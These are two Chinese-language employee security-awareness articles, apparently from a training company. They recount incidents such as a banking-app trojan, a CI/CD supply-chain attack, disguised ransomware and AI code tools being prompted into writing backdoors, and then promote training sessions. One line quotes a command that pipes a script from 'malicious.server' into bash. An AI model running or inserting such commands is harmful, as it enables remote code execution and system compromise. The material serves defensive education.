以“看得见的风险、摸得着的危机”打开信息安全思维——为每一位职工筑牢数字防线

“防微杜渐,祸起萧墙。”——《左传》
在信息化、无人化、数据化高速发展的今天,企业的每一次技术迭代、每一笔业务流转,都可能暗藏信息安全的暗礁。只有把安全意识从口号变为习惯,才能在危机来临时不慌不忙、从容应对。本文将通过 三个典型信息安全事件 进行头脑风暴式的深度剖析,引发大家的共鸣与警醒;随后结合当下的技术趋势,号召全体职工积极参与即将开启的 信息安全意识培训,让每一个人都成为企业安全的第一道防线。


第一幕 —— 案例一:GoldFactory “改装银行APP”卷走上万用户资产

事件概述

2025 年 12 月,The Hacker News 报道了一个来自东南亚的金融诈骗新套路——GoldFactory 疯狂改装官方银行 APP,以“伪装政府、冒充公用事业公司”等手段诱导用户下载植入恶意代码的变体。该组织自 2023 年起活跃,至今已收集超过 300 份独特样本,导致 超过 11,000 起感染,其中 63% 受害者为印尼用户。

攻击链拆解

  1. 社交工程:诈骗分子通过电话或短信,冒充印尼电力公司 EVN、泰国税务局等官方机构,声称用户账单逾期,需要立即付款。为提升可信度,攻击者要求受害者先加其 Zalo(越南流行即时通讯)账号,随后发送下载链接。
  2. 假冒下载页面:链接指向的页面仿真 Google Play Store 的 UI,实际是恶意服务器上托管的 假冒 app。这类页面往往利用 SSL 证书、图片盗用等手段,骗取用户信任。
  3. 二次植入:恶意 APK 并未直接植入后门,而是采用 FriHook、SkyHook、PineHook 三大运行时 Hook 框架(分别基于 Frida、Dobby、Pine),在原银行 APP 中注入恶意模块。这些模块在保留原有功能的同时,实现:
    • 隐蔽 Accessibility Service,躲避系统安全检测;
    • 伪造签名,防止用户发现异常;
    • 屏蔽屏幕录制检测,骗取用户操作凭证;
    • 读取账户余额、交易记录,用于后续转账或刷卡。
  4. 远控与数据收割:注入的 Gigaflower(Gigabud 的后继)支持 WebRTC 实时屏幕流、键盘记录、文字识别(OCR),甚至尝试读取越南身份证 QR 码,将身份信息“一网打尽”。

教训提炼

  • 技术伪装不等于安全:攻击者利用合法的 Hook 框架(Frida、Dobby)进行恶意植入,表面上看似“合法工具”,但实际却是“双刃剑”。企业在内部安全审计时必须对这些常用开发工具进行“白名单+行为监控”。
  • 社交工程仍是最高效的入口:即使防病毒软件再先进,基于 人性弱点(急于解决账单、恐慌情绪)的攻击仍能轻松突破技术防线。职工在面对紧急付款请求时必须“三思而后行”。
  • 移动端安全不可忽视:过去我们往往将安全焦点放在桌面端,但 Android 生态链极其庞大,且更新周期碎片化,给攻击者提供了可乘之机。企业必须实施移动端 应用完整性校验行为监控,并推广 企业移动设备管理(MDM)

第二幕 —— 案例二:供应链渗透‑“云端背后”的“暗门”

事件概述

2025 年 5 月,美国网络安全与基础设施安全局(CISA) 公开警告称,一批使用 TerraformKubernetes 的云原生项目在 GitHub 上被植入了 SupplyChainX 恶意代码。该代码通过 CI/CD 流程自动注入后门,导致多家金融、医疗机构的容器镜像被篡改,攻击者得以在生产环境中执行 持久化访问

攻击链拆解

  1. 恶意依赖注入:攻击者在开源库的 package.jsongo.mod 中插入一个看似无害的第三方依赖(如 log4js 的山寨版),该依赖在构建阶段会下载隐藏的二进制文件。
  2. CI 环境劫持:在 GitHub Actions 中,攻击者利用 GitHub Token 的过宽权限,克隆仓库后自动执行 curl -s https://malicious.server/init.sh | bash,该脚本会在构建镜像时植入后门程序 backdoor-agent
  3. 容器后门激活:后门通过 Kubernetes Admission Controller 注入 sidecar 容器,该容器拥有 hostNetworkhostPID 权限,能够直接访问宿主机的根文件系统。
  4. 横向移动与数据抽取:攻击者在取得宿主机控制后,利用 Kubectl Proxykube-apiserver 的默认配置(未启用 RBAC 完全控制)进行横向移动,窃取数据库凭证、患者记录等敏感信息。

教训提炼

  • 开源生态的“双刃剑”:开源组件加速了创新,却也让供应链攻击拥有了广阔的落脚点。企业必须对 第三方依赖进行 SBOM(Software Bill of Materials)管理,并使用 SCA(Software Composition Analysis)工具 自动识别高风险库。
  • CI/CD 安全是必修课:默认的 GitHub Token 具备 repo、workflow、write:packages 等全局权限,若未细致划分权限范围,极易被滥用。建议使用 最小权限原则(Least Privilege),并在 CI 流程中加入 代码签名校验、镜像审计
  • 容器安全策略要“层层设防”:不只是采用 PodSecurityPolicy,更需在 Admission ControllerNetworkPolicyRuntime Security(如 Falco)多层防护。

第三幕 —— 案例三:勒索病毒 “Zero‑Day” 版 – 伪装成系统补丁悄然入侵

事件概述

2025 年 9 月,全球知名安全厂商 CrowdStrike 发现一款新型勒索病毒 “PatchLock”,它利用了 Microsoft Windows 10/11KB‑534256 补丁中的 未公开漏洞(Zero‑Day)。攻击者通过垃圾邮件附件将病毒伪装成微软安全更新,受害者一键安装后即触发 内核级 ROP(Return Oriented Programming) 链,完成 文件加密数据外泄 双重打击。

攻击链拆解

  1. 邮件诱导:攻击者向企业内部邮箱发送标题为“重要安全更新 – 请立即安装”的邮件,附件为名为 Windows10_SecurityUpdate2025.exe 的可执行文件。邮件正文引用 Microsoft Security Bulletin 的格式,增加可信度。
  2. 利用 Zero‑Day:该恶意程序在执行时检测系统是否已打上 KB‑534256 补丁。如果检测到补丁版本,则激活内核 ROP 链,直接提升到 Ring0,规避所有用户态防护。
  3. 双重攻击模式:首先,恶意程序使用 AES‑256 对所有文档、数据库、备份进行加密,随后生成 勒索信 并发送至受害者邮箱。与此同时,它会通过 C2(Command and Control) 服务器向攻击者上传关键信息(如 AD 域管理员凭证),实现 数据外泄
  4. 自毁与持久化:加密完成后,病毒删除自身文件,并在 注册表 中写入 Scheduled Task,在系统重启后继续运行,确保勒索过程不被中断。

教训提炼

  • 补丁即“病毒载体”:攻击者逆向利用官方补丁的漏洞,将合法的系统更新包装成恶意工具。企业在执行补丁前,必须通过 沙箱测试完整性校验(Hash),确认来源可信。
  • 邮件安全仍是薄弱环节:即使使用 SPF、DKIM、DMARC,仍会有仿冒邮件通过。建议 开启邮件安全网关的 AI 检测,并对 可执行附件 进行 默认隔离
  • Zero‑Day 防御需全链路监控:传统的 AV/EDR 只能在签名层面防御已知威胁,面对 未知漏洞 必须结合 行为分析威胁情报共享异常流量检测,形成“未知即警报”的防御思路。

章节小结:从案例看“人‑机‑数据”三位一体的安全盲区

上述三个案例分别从 社交工程(GoldFactory)、供应链渗透(SupplyChainX)以及 系统漏洞利用(PatchLock)阐释了信息安全的 三大核心维度

维度 关键风险 防御要点
人(Human) 社交工程、钓鱼邮件、电话诈骗 安全教育、双因素认证、最小权限
机(Machine) 运行时 Hook、CI/CD 劫持、容器后门 行为监控、代码签名、容器安全策略
数据(Data) 数据泄露、加密勒索、身份信息采集 加密存储、访问审计、零信任网络

任何一环的失守,都可能导致整条链路崩塌。因此,构建全员参与的安全体系,必须把 认知技术流程 三者紧密结合,形成闭环防御。


进入信息化、无人化、数据化的新时代——我们面临的全新挑战

  1. 零信任(Zero Trust)已成必然
    • 每一次跨系统调用、每一次微服务间的 API 访问,都要经过身份验证与最小权限授予。
    • 传统的“内网可信、外网不可信”模型已经不适用于云原生、多租户的环境。
  2. 自动化运维带来的“隐形攻击面”
    • IaC(Infrastructure as Code)GitOpsChatOps 等自动化工具让部署更快,却也让 脚本注入凭证泄露 成为常态。
    • 自动化流程必须与 安全审计流水线 紧密融合,确保每一次 push 都是安全的 pull
  3. 大数据与 AI 的双刃剑
    • AI 可以帮助我们在海量日志中快速定位异常,但同样可以被攻击者用于 生成对抗样本AI 诱骗(如深度伪造语音)进行社会工程。
    • 对 AI 模型进行 对抗性测试可解释性审计,是防止技术被滥用的关键一步。
  4. 移动与边缘设备的安全盲区
    • 随着 5GIoT 的普及,终端设备数量激增,采用 MDMUEBA(User and Entity Behavior Analytics) 对每一个设备进行行为分析显得尤为重要。

呼吁全体职工:加入即将开启的信息安全意识培训——共筑数字防线

培训概览

项目 目标 形式 时间 受众
基础篇 了解常见社会工程手法,掌握防御技巧 线上直播 + 实战演练 2025‑12‑15 全员
进阶篇 深入掌握移动端 Hook 防护、容器安全、CI/CD 安全 案例研讨 + 实战实验室 2025‑12‑22 开发、运维、测试
实战篇 通过红蓝对抗演练,提升威胁检测与应急响应能力 现场攻防 + 案例复盘 2025‑12‑29 安全团队、技术骨干
认证篇 通过 CISSP‑LiteCISA‑Foundation 认证,形成可量化的安全能力标识 考试 + 成果展示 2026‑01‑05 通过培训的人员

培训亮点

  • 情景式案例教学:以 GoldFactorySupplyChainXPatchLock 为真实场景,让学习者在模拟环境中亲自“体验”攻击链的每一步。
  • 跨部门互动:金融、研发、行政、后勤等不同业务线共同参与,打破信息孤岛,形成 全息防御
  • 即时反馈机制:通过 学习管理平台(LMS) 的测评与实时统计,帮助每位学员了解自己的安全成熟度指数(Security Maturity Score)。
  • 奖励与激励:完成全部模块并通过考核的同事,将获得公司内部 “信息安全之星” 电子徽章,并可在 年度绩效 中加分。

参与方式

  1. 登录企业内网安全学习中心报名参加
  2. 填写安全自测问卷(约 15 分钟),系统将自动为您匹配最适合的学习路径;
  3. 完成预读材料(《移动安全最佳实践》《供应链安全指南》),为课堂实战做好准备;
  4. 准时参加线上直播,并在 演练平台 完成对应的任务。

温馨提醒:在正式培训开始前,请确保您已将个人移动设备加入公司 MDM 管理,并在 工作站 安装 最新的安全补丁,以免演练期间出现因环境不一致导致的误判。


结语:以“知行合一”的姿态,守护企业数字命脉

正如《大学》所言:“格物致知,诚意正心”。在信息安全的世界里,是对风险的认知,是对防御的落地。今天我们通过三个血淋淋的案例,已经看清了攻击者的“金手指”。明天,只有每一位职工把防御意识真正内化为日常操作,才能让攻击者的“金手指”变成“木棒”。

请大家牢记:安全不是某个部门的专利,而是全体员工的共同责任。让我们在即将开启的培训中,携手把“看得见的风险、摸得着的危机”转化为“可视化的防护、可量化的能力”。只有这样,企业才能在数字化浪潮中乘风破浪、永立潮头。

让我们一起,练就“未雨绸缪”的本领,做信息安全的守护者!

昆明亭长朗然科技有限公司专注于信息安全意识培训,我们深知数据安全是企业成功的基石。我们提供定制化的培训课程,帮助您的员工掌握最新的安全知识和技能,有效应对日益复杂的网络威胁。如果您希望提升组织的安全防护能力,欢迎联系我们,了解更多详情。

  • 电话:0871-67122372
  • 微信、手机:18206751343
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  • QQ: 1767022898

信息安全的“红灯”与“绿灯”:在AI时代点亮每一盏警示灯


“天下大事,必作于细;细微不慎,必酿成祸。”——《史记·卷四·秦始皇本纪》

这句古语在数字化、智能化飞速发展的今天,仍然不改其道理。信息系统如同一个庞大的城市网络,任何一条暗巷、一次疏漏,都可能成为黑客闯入的突破口。为帮助全体职工在日常工作中树立“细节即安全”的观念,本文先以四起典型安全事件为切入口,深入剖析其根因与教训;随后结合当前智能化、自动化、数智化的技术潮流,阐述我们即将开展的信息安全意识培训的必要性及价值,号召大家积极参与、共同筑牢公司安全防线。


一、四大经典案例:从“灯塔”到“警钟”

案例一:SolarWinds 供应链攻击(2020)

事件概述
SolarWinds 是全球数万家企业使用的 IT 管理软件 Orion 的供应商。2020 年底,黑客通过在 Orion 软件的更新包中植入后门代码,完成了对美国政府部门、能源公司等数百家机构的渗透。攻击者利用合法签名的软体更新,成功绕过了大多数防病毒和入侵检测系统。

根本原因
1. 供应链安全失衡:对第三方组件的安全审计不足,仅依赖供应商的自检报告。
2. 缺乏代码运行时监控:未对关键系统的运行时行为进行实时审计,导致后门代码在生产环境中长期潜伏。
3. 上下文信息缺失:安全团队对代码变更的上下文缺乏完整追踪,无法在更新时快速识别异常。

教训
全链路审计:从代码编写、构建、交付到部署的每一步,都必须留痕并进行可信验证。
实时威胁检测:引入行为监控与异常检测技术,尤其是对高危系统的细粒度审计。
强化供应商治理:对供应链中每一环的安全合规进行审计,采用 SBOM(Software Bill Of Materials)等可视化工具。

若我们把供应链视作“红灯”,则缺乏审计便是那盏不亮的灯塔,黑客正是借助这片暗区轻松驶入。


案例二:Accellion FTA 漏洞导致敏感文件泄露(2021)

事件概述
Accellion 是一款老旧的文件传输解决方案(File Transfer Appliance,FTA),广泛用于金融、医疗等行业的外部文件交换。2021 年,黑客利用其在身份验证及文件加密实现上的漏洞,突破了多个企业的防线,窃取了包括个人身份信息、财务报表等高价值数据。

根本原因
1. 产品陈旧、未及时打补丁:企业在使用已停产的旧版本,导致已公开的漏洞长期未修复。
2. 错误的访问控制模型:缺乏细粒度的权限划分,导致内部用户或外部合作方拥有过宽的访问范围。
3. 缺少安全意识培训:使用者对文件加密、传输路径的安全概念认识不足,误将敏感文件上传至公开共享目录。

教训
资产清点与更新:建立“软件生命周期管理”,对所有应用进行定期审计,及时淘汰或升级不安全的旧系统。
最小权限原则:采用基于角色的访问控制(RBAC),对每一次文件传输设定明确的时效与审计。
持续安全教育:让每位员工了解“文件就是数据,文件的每一次传输都是一次暴露风险”。

在这里,文件传输的“绿灯”被旧版软件的漏洞熄灭,若不及时更换,暗流便会冲垮防线。


案例三:AI 代码生成工具被滥用于注入恶意代码(2023)

事件概述
2023 年,某大型云平台推出基于大模型的代码自动生成插件,帮助开发者在几秒钟内完成 API 接口、数据结构的编写。几个月后,安全研究者发现黑客利用此插件的“自由提示”功能,诱导模型生成包含后门的代码片段,随后将这些带有隐蔽后门的库上传至公开的开源仓库,导致多家企业在不知情的情况下集成了恶意代码。

根本原因
1. 模型缺乏安全约束:自动生成的代码未经安全审计直接使用,缺少“安全过滤层”。
2. 上下文管理不足:模型在生成长代码时容易“忘记”之前的安全约束,导致后续代码出现冲突或漏洞。
3. 使用者盲目依赖:开发者对 AI 产出的代码缺乏审查,忽视了传统代码审计的重要性。

教训
嵌入式安全审计:在 AI 代码生成的每一步,引入实时的静态分析与 OWASP Top 10 检测,防止生成漏洞代码。
扩展上下文记忆:如同 Iterate.ai 的 AgentOne 所做的“2 百万 token”扩展,确保模型在大项目中保持完整的安全上下文。
人机协同审查:将 AI 视为“助理”,而非“代替者”,生成代码必须经过人工复核后方可上线。

AI 生成的代码若缺少“安全灯塔”,就会在黑暗中为攻击者提供通道。


案例四:AgentOne 误配导致企业内部数据泄露(2024)

事件概述
2024 年 4 月,Iterate.ai 推出的企业级 AI 编码助理 AgentOne 在一次大规模部署后,被部分客户发现其日志模块默认开启了对内部代码的全量上传至云端服务器的功能。由于缺乏合理的访问控制,黑客利用公开的 API 键,直接下载了包含业务关键逻辑的源码及配置信息,造成了重大商业机密泄露。

根本原因
1. 默认配置不安全:默认开启的数据同步功能未设定最小权限,导致信息外泄。
2. 缺乏细粒度的审计:对日志上传行为缺乏实时监控和告警,安全团队未能及时发现异常。
3. 用户教育不足:企业在部署前未对运维人员进行安全配置的专项培训,导致误操作。

教训
安全默认即安全基线:所有产品在交付前应采用“安全即默认(Secure by Default)”原则,关闭不必要的外部通信。
实时审计与告警:对所有敏感操作进行实时日志审计,发现异常立即阻断并上报。
培训与文档同步:在新技术上线前,必须配套完整的安全配置手册与培训课程,确保使用者知道如何安全启用功能。

即使是最先进的 AI 助手,也会因“配置失误”而让灯光暗淡。只有把安全放在第一位,才能让技术成为真正的“护航灯”。


二、洞悉 AI、自动化、数智化时代的安全新挑战

1. “速度”与“安全”之间的博弈

从案例三、案例四可以看出,AI 代码生成工具的出现,使得“一行代码的产出时间从数小时压缩到数秒”。然而,速度的提升也意味着风险的放大:如果每一次代码生成都未经严密审查,漏洞会以指数级扩散。正如 Iterate.ai 在其产品说明中指出:“AI 生成代码的速度是人类的 100 倍,安全流程却没有同步加速”。这恰恰是我们必须正视的矛盾。

2. “上下文”完整性的重要性

传统的 LLM 模型在处理长篇项目时往往出现“上下文丢失”,导致安全约束被遗忘。Iterate.ai 的 AgentOne 声称支持 2 百万 token 的上下文容量,这在业界已经是突破。这种 “全局视角” 能够在跨模块、跨仓库的复杂项目中保持安全一致性——对我们而言,是一种值得借鉴的思路。我们在内部系统开发时,也应考虑:

  • 全局依赖图管理:使用自动化工具生成依赖关系图,确保每一次代码变更都在全局视角下审视。
  • 安全上下文标签:在代码注释或元数据中加入安全属性标签,帮助 AI 与审计系统保持一致。

3. “自动化安全”与“人为审查”共生

案例三的经验告诉我们,自动化安全检测(如 OWASP Top 10、静态代码分析)必须嵌入到 AI 助手的每一次生成环节。与此同时,人为审查仍不可或缺。我们可以构建如下的“双层防线”:

  • 第一层:AI 生成代码即时走安全插件,扫描高危函数、敏感数据泄露等风险。
  • 第二层:团队代码评审(Code Review)中加入安全审计 checklist,确保每一次合并(Merge)前经过人工确认。

4. “合规”和“可审计”是数字化转型的底色

在金融、医疗等行业,合规要求对数据流动、加密方式、访问日志都有明确规定。案例二的泄露正是因为对合规审计的缺失导致的。我们在引入 AI 自动化工具时,同样需要:

  • 审计日志完整性:每一次 AI 助手发起的代码生成、修改、部署,都应记录在可追溯的日志系统中。
  • 加密传输与存储:所有交互(包括 Prompt、生成的代码、日志)均采用端到端加密,防止中间人攻击。
  • 合规检查点:在 CI/CD 流水线加入合规扫描(如 GDPR、PCI-DSS),确保交付物满足行业标准。

三、我们为什么要开展信息安全意识培训?

1. 让每个人成为“安全灯塔”

安全不是 IT 部门的专属职责,而是 全员的共同任务。正如《孙子兵法》所言:“兵马未动,粮草先行”。在信息安全的战场上,“防御的第一层” 正是员工的日常行为——密码管理、社交工程防范、文件共享的安全使用。通过系统化、案例驱动的培训,可以让每位同事都具备“安全灯塔”的视角,主动发现并上报潜在风险。

2. 对接企业数字化、智能化的技术路线

公司正在推进 AI 助手、自动化部署、数智化运营,这些技术既是提升效率的利器,也是攻击面扩大的“新战场”。培训将围绕以下关键议题展开:

  • AI 生成代码的安全使用:了解 AgentOne 等工具的安全特性,掌握如何在 VS Code 中开启实时 OWASP 检测。
  • 自动化流水线的安全配置:学习在 CI/CD 中加入安全扫描、凭证的最小化暴露。
  • 数据治理与合规:掌握敏感数据标记、加密传输和审计日志的基本原则。

通过与技术研发团队的合作,培训内容将 贴合实际项目,让学员能够在真实工作场景中直接运用所学。

3. 构建 “安全文化” 与 “学习型组织”

信息安全的持续改进离不开 组织文化。我们将采用“安全演练 + 经验分享”的混合模式:

  • 红蓝对抗演练:模拟攻击(红队)与防御(蓝队)对抗,帮助员工感受真实的威胁场景。
  • 案例复盘会:每月挑选一次近期的安全事件(内部或行业),进行现场复盘、讨论改进措施。
  • 安全微课堂:利用短视频、微测验等方式,碎片化学习安全知识,降低学习门槛。

这种方式不仅提升知识传递的效率,更能让安全意识渗透到团队的日常沟通中,形成“安全即业务”的共识。

4. 提升个人竞争力,拥抱未来职场

在“AI 时代”,能够 安全地使用 AI 工具、懂得 自动化安全审计 的人才,将成为市场的稀缺资源。通过本次培训,大家不仅能更好地保护公司资产,还能为自己的职业发展添砖加瓦——这是一举多得的“双赢”。


四、培训行动计划:从“灯塔”到“灯火通明”

时间 内容 形式 讲师 关键产出
第1周 信息安全基础与常见攻击手法(钓鱼、恶意软件) 线上直播 + 互动问答 信息安全部主管 电子防钓鱼手册
第2周 AI 代码生成的安全风险与最佳实践 现场Workshop(VS Code 实操) Iterate.ai 合作伙伴技术顾问 AgentOne 安全插件配置清单
第3周 CI/CD 安全加固(SAST/DAST、凭证管理) 线上实验室(自建流水线) DevOps 资深工程师 安全流水线模板
第4周 数据治理、加密与合规(GDPR、PCI) 案例研讨 + 小组讨论 法务合规专员 合规审计清单
第5周 红蓝对抗演练与应急响应流程 桌面模拟 + 实战演练 红队/蓝队双师 事件响应手册(PDF)
第6周 复盘与持续改进 经验分享会 全体参与者 个人安全改进计划(One‑Pager)

培训考核:每节课后都有小测验,累计满 80% 可获得公司颁发的《信息安全合格证书》,并计入年度绩效。

激励机制:完成全部六期培训的员工,将有机会参与 公司创新实验室 的 AI 项目,获取专项研发补贴。


五、结语:让安全灯光永不熄灭

信息安全不是一次性的项目,而是一条 持续迭代、永不止步的“安全之路”。从 SolarWinds 到 AgentOne,从供应链漏洞到 AI 代码的潜在后门,每一次事故都在提醒我们:细节决定成败,安全必须渗透到每一次点击、每一行代码、每一次部署。在智能化、自动化、数智化的浪潮中,只有把安全意识像灯塔一样点亮,才能让技术的光芒照亮而非刺伤我们的前行之路。

让我们在即将开启的培训中,携手学、共同练、一起做——让每位同事都成为守护企业数字财富的“安全灯塔”。未来的挑战仍将层出不穷,但只要我们保持警觉、不断学习、积极实践,安全的灯光必将照亮每一段代码、每一次创新、每一个业务场景。

安全,是我们共同的责任;灯塔,是我们共同的承诺。

昆明亭长朗然科技有限公司致力于打造智能化信息安全解决方案,通过AI和大数据技术提升企业的风险管理水平。我们的产品不仅具备先进性,还注重易用性,以便用户更好地运用。对此类解决方案感兴趣的客户,请联系我们获取更多信息。

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